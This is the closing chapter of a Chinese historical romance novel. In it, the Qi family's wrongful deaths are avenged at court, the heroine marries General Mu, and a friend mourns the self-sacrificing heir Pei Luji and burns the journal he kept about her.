太监抬着抬着途中, 锦缎的一角被风吹得掀了起来,她眼利地看见了一块通体透亮的青玉, 青玉上方还雕有复杂华丽的花纹, 上方仿佛还有字。 戚央央突然想起小时候听爹爹和哥哥们时常同她说, 大晋朝历来有一个规定, 军中但凡能立下一等功的战士,就可以获得朝廷奖颁“护国佑民”的战功玉牌, 这是每个战士最向往而且最高的荣誉。 而且这块玉牌还必须由这位一等功的战士家属进宫来领,算是让家属也与有荣焉, 一家子以之为豪。 小时候爹爹和哥哥们都说,以后等他们立下这等一等功的话, 定要让他们的小央上京城, 到皇宫领这玉牌去。 爹爹说:“我们家就你一个女娃娃, 你娘说了, 在你及笄之前,我们若能立个一等功, 让你到京城,亲自捧回那个玉牌, 说不定我们家小央就能觅一门不错的婚事。” “以后一定要找一个疼爱你的,而且家世不能太差的夫君,最好是位京城公子, 能文能武,无所不能那种。” 那时边境进犯频繁,边境的军民都渴望能早日太平, 央央也希望爹爹和哥哥们能快点将羌北发起动乱的逆贼的首脑割下来,挣得一等功,从此边境和平,百姓安居。 可是后来,爹爹和哥哥们就再也没有回来了。 那个大家心中期许的一等功,始终没能捧回。 进入那个小时候梦想着的金銮大殿,发现它比自己想象中还要宏伟威严。 之前成为世子夫人的时候也曾进过宫,但却是作为内眷,被人抬着宫轿由夹道进入内宫,不曾见过前殿的繁华。 进了大殿,首先入眼帘的是金色大殿柱上盘旋的金龙,大殿高伟奇深,一进入就闻到一种庄严肃穆的熏香,她不敢抬眼,就一直注视着自己脚下一寸寸后挪的金砖。 她能感觉到两旁站了不少人,却没有人发出声动,偌大一个大殿,只能听见她走路时发出细微的脚步回响,和衣服摩挲在金砖上的声音。 新帝就是太子殿下,以前她在英国公府时是见过太子的。 新帝让她平身来,沐江恩就站在距离她前面不远处。 “今日朕宣戚氏上殿,是要给一等功的战神,沐将军颁发战功玉牌的。” “除此以外,十几年前车壁败战贪军粮饷一案的首末,朕已经调查清楚,证据俱在,今日召集众臣来,是要给大家一个交待。” 新帝于是让大寺卿谢绍杰将相关证据罗列。 曾经在戚将军麾下当过仓廪官的祁仁义被带到朝殿,其中涉案的证人还有宋敞、刑部尚书陈角,还有兵部的一些官员。 当这些人将当年车壁大役一事如实禀出,证据直指秦丞相之时,秦丞相面色彻底变了。 秦相当场发难,“当年车壁一役,老臣是奉先帝之命办的事,先帝虽没有圣旨,但老臣有保留先帝的字条,陛下只要找以前伺候过先帝的宫人,或者让翰林院的人来比对一下先帝笔迹,即刻知晓!” 新帝要等的就是他这一句,“那好,就请丞相把证据呈出。” 十多年前,车壁一役的真相显露的那一刻,经众人证实,那的确是先帝字迹,确认当年的确是先帝秘密安排秦相在战役中做了手脚,才导致荆王部下全员惨死在战役中。 新帝故意没将仓廪官转移军粮贪墨的证据扔出来,就是为了逼秦相亲自戳破先帝当年之事的证据。 证据出来的那下,戚央央呆住了,泪水不断地往外涌。 当年他们戚家人为国奋战,不惜献出生命,就是为了保家卫国,本来那一战父兄可以打赢,获得一等功还朝。 可是,一国之君竟然怕这次一战会让胞弟的威望迅速压过自己,为了维持朝政的平衡,为了他自己权力的巩固,而策划了这一次任务,放任秦家人去荼毒她父兄,乃及那一次死在那场战役中的万千将士! 这世间最可悲的事,将士不是死于保家卫国,而是死于政治争斗。 戚央央只觉喉头有什么哽咽着,咽不下吐不出,继而都化为了泪水,掩面泣不成声。 新帝亲自宣判了先帝的罪过,同时也将秦相多年犯下之罪的罪证拿出,秦相当场就急了,对新帝威胁道:“陛下不要忘了,自己的帝位是怎么得来的,纵然先帝犯错,但一个弑父杀君,矫诏篡位之人,那可比先帝所犯之罪严重多了!” 新帝早知他会用此胁迫,他也不怕。 他立马传出失踪已久的刘公公,刘公公出现的那一刻,秦相脸上表情可精彩了。 像是不可置信,又觉得不可思议,随后是惊恐,和后怕 随后大殿上所宣判的事情,央央已经看不见,因为她站在大殿上的时候,新帝已经将她父兄的清白归还,把玉牌赐予了她后,让她退下了。 央央走在前方,后方跟着四个帮忙抬玉牌的太监,她在这座繁华瑰丽的宫廷下走着,这是曾经父兄想要挣得一等功带她来看的繁华,可她如今却对这些一切完全不感兴趣。 她一边走着的时候,起初还是笑着的,笑着笑着,最后却哭了。 爹,娘,大哥哥,二哥哥,三哥哥,你们现在可以安息了,爹爹和哥哥们身上的冤屈终于洗清,玉牌我也看过了。 · 宫中进行了大洗牌,秦相等一干党羽被新帝连根拔起,许多世家都遭受了牵连。 不过这次新帝仁慈,也顾及到朝政的安稳,没有给涉事家眷判连坐之罪。 而其实这一切,都是 “都是裴少仲事前同新帝开出的条件。” 此时城外扶着灵柩回来的张白石,在中途听见来回禀京中情况的人密报后,不由感叹出声。 “那天,裴少仲这家伙被我逼急了,才不得不说。” “还真别说,这家伙还是一贯地高傲和能掐会算,他算准了新帝的弱点,逼着他答应下来,等事成后,还戚家人一个当年的真相,供出先帝的罪状,将秦相一干人等揪出来,还不得伤及无辜,不可罪连无辜家眷。” 张白石笑着笑着,突然笑出了泪,把手按在灵柩上,眼眸垂了下来, “可是,你这么能掐能算,给每个人都留了活路,给崔家军留了活路,给我留了活路,给沐将军留了建功立业的路,给罪臣家眷都留了路,却为何唯独没给自己留活路?” 他的泪落了下来,身上战伤的伤痕都已经痊愈,留下了消不掉的疤痕,咵的一声,他双膝点地,跪倒在灵柩前。 泣道:“你事前抓了刘公公,以钳制新帝,又故意将计就计,顺应而为一步步步入秦相和苏赫巴鲁的陷阱,最后只牺牲几百精锐兵和你自己,逼苏赫巴鲁现身,让沐将军获得这头功,然后救下我” “你其实早就知道戚姑娘装失忆留在你身边,你也故意不戳破,还陪着一起演戏,只为眷恋她留在你身边,你就能强迫自己被骗倒。你演就演了,最后怎么不干脆把人演到手了,还成全人家成亲,还在京城给人家两口子置办府邸婚房婚事,人家两口子的婚事,凭什么由你操控,由你安排啊?你算老几啊?” 他哭骂道:“今日人家就要在京中成婚了,你却避讳连城门都进不去,只能在这荒草杂生的地方待满三个月才能进城,活该!活该啊!” 旁边的崔家兵要扶起他,他却甩开他们的手,从怀里摸出一本厚厚的泛黄的书册,用火折点燃起火。 “你不是说让我把它烧掉,然后埋在你的坟墓前吗?好,我今日就全了你心愿” 张白石颤着手,将那本用歪歪扭扭笔触写着“小央成长手札”的旧册,移近火焰。 此时城中的戚府正办婚事,沐江恩身材高大穿着一身喜服,显得英气极了。 新娘从后宅出来,准备让媒婆背着坐上花轿那刻,英国公府派的人来了。 修竹今日穿着锦衣,走到戚央央面前。 “戚姑娘,我家世子早前就已经帮我更改掉身帖,我早就不是奴藉了,今日就暂且让我充当姑娘的兄长,背你出嫁,可好?” 修竹是戚央央少时来到英国公府时,对她最照顾的年长男子之一,其实在她少时心中,也悄悄将他当成自己的兄长一样敬重,此时由他背她出嫁,她自然不会拒绝的。 这是她年幼时,梦过的出嫁情景,由家中的某一个哥哥背她踩过二门的门槛,背上花轿出嫁。 当修竹背着她跨出大门那道门槛时,她在盖头之下恍然看见了门槛内侧底下竟有记忆中一模一样刻花了的字。 那是她幼时学字时,歪歪扭扭在大门槛边刻得满满当当的一家人的名字。 戚天明、甄盈盈、戚镗风、戚镗月、戚镗雨、戚央央。 看着这些挨挤在一起大小不一的名字,感觉就像他们没有真正分开过一样。 哥哥们在她小时候同她说,“小央,以后你出嫁,哥哥背着你跨出这一道门槛时,你低头看一看,你把我们全家人名字刻在一起,过了这道槛,以后可千万别忘记我们啊” 看得出这些歪扭的字是有人刻意模仿她写字的神韵,已经刻得相当神似了,神似得,她觉得就像真的在自己府邸出嫁。 她的泪啪嗒啪嗒掉在修竹肩头,把他肩头都打湿了。 修竹感觉到自己肩膀衣物的湿意,只是微顿了一下,又什么都不说,强打作精神继续将她背出门槛。 “我不会忘记你们的。”她小声地伏在修竹肩头啜泣。 修竹苦笑,百感交杂,有些人死了,她尚且知道,尚且怀念,可也不知道她口中的这个不会忘记的“你们”里,有没有那一个人包含在内。 沐江恩骑在高大马头上,准备绕行戚府附近一周。 在婚礼前,他曾经多次想同她说出口,想说出裴世子的事,但最后都被修竹制止。 修竹难过地对他道:“这既然是他家世子所希望的,还请沐将军替他保守秘密,我家世子的灵柩,会等你们成婚三个月以后才进城,届时等这件事淡些,夫人她若问起,将军便说我家世子是在羌北为俘时,因病而逝。” “反正十多年前,我家世子在羌北当俘虏时,本就差点要死了,如今,就权当他多活这十几年,世子他觉得满足了。” 婚嫁队伍走到半途的时候,有人前来附在新郎耳边说着什么,婚嫁队伍暂停下来。 戚央央心中感到不安,私自揭开盖头掀开轿帘问发生什么事。 “是不是找到你们家主子下落了啊?”央央记得前来附在沐江恩耳边说话的残影,那是裴陆戟身边最得力的暗探。 残影不知该如何作答,施行一礼走了,沐江恩笑着朝她走来。 “小央,大日子你别下来,他只是告知我一声前方车马有些堵塞,需要绕路罢了。” “羌北一战,虽然世子输了,下落不明,但他毕竟为家国尽了力,我感觉他跟我父兄是一样的,我和他以前有过不愉快的过往,那些都已经过去了,我还是希望,我成亲前能听见他安好的消息,这样我才能安安心心出嫁。”戚央央道。 沐江恩别开脸,竭力忍住些什么,待再回头过来时,脸上都是温柔的笑,轻轻握住她的手道:“世子他为国为民,而且福星高照,一定会吉人天相的,今日是你我的大喜之日,你只要安安心心出嫁,旁的,不要思虑太多,好不好?” 大喜之日,嫁得心上人,确实应该心无旁骛,开开心心。 戚央央于是笑了,笑得很开心,“好,我听沐大哥的。” 沐江恩也笑着把她扶回花轿上,可一转身,他脚步踉跄,堂堂大将军竟也差点走路不稳平地摔倒,幸好及时扶住了马背。 他想起残影刚才同自己说的话,他说,裴世子被“捡”回来了,现在张大人一行人正在城外,今日刚抵京的。 “世子总算赶上我们婚礼了”沐江恩小声低喃,眼眸似浮上一层雾气,很快又散去。 他记得在羌北战场,世子浑身是血,拉着他郑重地同他道,让他一定要给央央幸福,绝对不能再让她伤心难过。 “我是个不会爱人的人,她认错人,陪在我身边的那十年,是我这辈子最大的幸运,没想到,老天还是对我公平的,在我生命的前十几年,我因为世家利益受尽苦头,可那十年是我这辈子最美好的十年,后来我又因为她,意识到了怎么去爱一个人,我想我此时死去也不会留有遗憾了。” “她给了我,最好的十年,现在该我还她了。” 他对他说完这番话,就率领几百精兵,给他和他的援军部队突破出一个口子,充当诱饵去了。 他还说过,如果他这人冥顽不灵,死了也给她添麻烦,凑巧被带回来时撞上你们的婚礼,那就请你多多包涵,帮忙从中斡旋一二,他会耐心在城外等候,等她的喜事完成,不冲散她的喜气。 “到时请你用最大最长的炮仗,铺满这城南五里街道,镇压驱逐这城外数十里外的邪祟,以保你们的婚事平平安安、顺顺利利。” “因为”他苦涩道,“因为我不知道我死后的魂魄,会不会丧失智,跑去搅和你们婚事,我来之前问过山上的大师,大师说放一足够长的炮仗足以驱邪,所以,请务必要做此事。” 堂堂英国公世子,大晋的栋梁肱骨权臣,凡事只靠自己只信自己的人,有朝一日竟也会像妇孺一样去信这些神神佛佛。 新人迎门那下,戚府门前已经挂好了长长的炮仗,没有那么长的炮仗,这是他用许多副长炮仗串联在一起,铺满整个城南街道。 街道两旁的父老乡亲已经捂好了耳朵,站在巷子里等待着炮仗燃起,孩童们欢叫着,期待着,周围一片喜气。 “报,将军,炮仗已经铺排好,只等将军一声令下,立马安排队伍末尾点燃。” 一队伍士兵整齐划一地过来,为首的同沐江恩禀报道,然后,后方的士兵齐齐转身往后,每隔半里一个街口站好,站得笔挺笔挺,松树一样纹丝不动。 新娘此时已经从花轿出来,沐江恩上前扶住了她的手。 他低声问她,“那小央,现在可以点燃炮仗了吗?” 央央呈羞涩之态,红盖头下低着头,点点头。 沐江恩便一抬手,示意点炮。 “报——报——报——” 紧接着,每个街口站着的士兵一个接一个次第地报下去,直到报到最后一名士兵,开始拿香点燃这五里长炮仗的尾端。 喜庆的炮仗声,响彻了天。 城内的人只道是城南戚、沐两家成亲之礼,就连英国公夫妇也毫不知情,携手欢喜地就过来参宴充当高堂了。 此时城外十里处,张白石守着一抬孤零零的灵柩,望着城门内的方向,听着那传到这里还能听见的炮仗声,一边烧纸浇酒,一边失笑:“少仲兄,你今日多吃点,多喝点吧,再怎么也总算,如你所愿了。” 那些被解开了装订绳的泛黄纸页,厚厚地铺开在泥土上,一页页地随风飞散开 张白石眼睛花了,一页页拾回,一页页翻看着: “玄正十五年,丁卯日,小央学会写字了。” 前面是明显一个成熟男子的笔触,后方附上小孩子歪歪扭扭的字迹:“戚央央”。 “玄正十七年,己卯日,爹爹哥哥回来啦。”后面画了一个大大的笑脸,那一页旧纸上,还被人后来用工笔,整整齐齐描摹了一幅缩小的龙武山大将托举幼女,然后肩膀上幼女笑得灿烂手捧殷红果的插图。 “玄正十九年,辛卯日,我是戚大将军的女儿,应该X担这份则认。三十八个骇子,我要救,我一定要救,这是我身为大将军女儿的则认!” “玄正二十年,壬寅日,希望爹爹能救下大哥哥!一定要一定要!” “玄正二十一年,丁辰日,下大雨了,爹爹娘亲哥哥们,小央想你们了” “玄正二十二年,丁卯日,爹娘哥哥,姨母来接我了,我找到大哥哥了,爹娘哥哥,我找到大哥哥了!找到他了!可是他性情变了好多呀,都是小央的错,如果我当年能救下他,或许他就不用受那些折磨,如今也不会变成这样了。我一定、一定要好好弥补他,让他以后幸福一点,高兴一点。” “玄正二十七年,庚辰日,爹娘哥哥,今天我嫁给大哥哥了,虽然婚事是我死皮赖脸要来的,大哥哥好像也不是很高兴,我们喝完交杯酒后,他就穿着喜服躺在榻脚上睡下了。但是,今天能够,嫁给他,我真的很高兴啊” “玄正三十二年,壬辰日,爹娘哥哥,以后我再也不想写手札了,翻开之前写的手札,满满当当记满的都是郎君的喜恶,写得满满当当都是他,但是,以后他要另娶他人了,我留下这手札看着以前写下的东西,只会觉得难受。 爹娘哥哥,请原谅我不能再继续给你们记录我的生活了,因为我真的真的好难过。” 后面厚厚的一页页里,便再也没有出现女子娟秀的字迹了,变成了另外一种笔势刚健、矫若游龙明显是男子的笔迹,在续写这往后厚厚的纸页: “玄正三十二年,庚子日,戚氏央央成长手札更换笔录者,记录者为戚氏央央之夫婿,裴陆戟。” “玄正三十二年,甲辰日,央央平安抵达封州,封州乃荆王属地,当今为两派势力争储,寒门所站六皇子,荆王是为实力拥立者,受圣上控制,世家则站当今太子,秦家是为实力拥立者,也受圣上所控。我为央央之夫婿,也是圣上手中棋,负责均衡两方势力。 古语云,搅动风云者不得好死,罪不累及妻儿,荆王为圣上现下最属意的一方,将央央送到封州,方为明智。该舍得舍,该割得割。” “玄正三十二年,辛午日,央央所失商铺钱财悉数收回,夫裴陆戟代为管,日后找合适机会归还。” “玄正三十二年,葵酉日,戚氏央央抵达彭州,同日,笔者陆戟同抵彭州。与央央同往之人,沐氏江恩是为其心仪之人。笔者观其人,正直、温善、心细肠柔,除智不足外,属实可堪当良配。可智甚笃者也难当良配,谓其心狠,能伤人。” “玄正三十二年,乙申日,笔者寻越遍戚氏央央旧居城,寻央央旧日踪影。戚氏大宅现栋榱崩折于彭州旧城南,寻街坊凑拼大宅旧貌。” 后方附赠了手绘戚宅内外构造图、装饰图。 然后后面的内容,便是一水儿是记录戚央央的幼时少时爱好、性格、在彭州城做过的件件桩桩,和戚氏父兄和其娘亲在彭州城做过的件件桩桩。 厚厚的一大沓,全是记录这些。 到最后,沾染了血的那部分纸页,记录的便是自己在玄正三十三年替戚央央在军营筹备的婚礼,记录戚央央在军营同她心仪之人日常的点点滴滴甜蜜,记录她坠下悬崖时替她探脉探得的脉象,以及往后许多次探脉时的脉象变化,还详细记录了调养的药方,和注意事项。 其中注意事项中,有最重要的一点也已经被笔者用朱砂笔圈了起来:保持心境愉悦。 然后,后面便是摘录了一大堆哄女子高兴的笔录,哪些已经对她做过并且有效,哪些又没有效果的。 最后的最后,便是他记录最后自己为她事先筹办的这场在京城中的盛大婚礼。 只是因为,在她家人的期许中,是愿意她嫁到她自幼就想去看看的京城,然后是从家里出嫁,是嫁给待她极好极好的她心仪的男子。 这些,他全都做到了。 在羌北山崖下那一战之后,张白石翻了好久才翻出那具被刺得面目全非的尸首。 他除了事前推走他时塞给他的手札本外,身上就只有一块萤石,一块只绣着一根竹子的手帕,没有别的遗物留下了。 城内的某处,锣鼓喧天,张白石终于将吹散乱的厚厚纸页重新扎好,饮下了一口辛辣的酒。 望向远方明霁的天空,他举了一下酒壶,笑道:“少仲兄,再干一个!” (正文完。)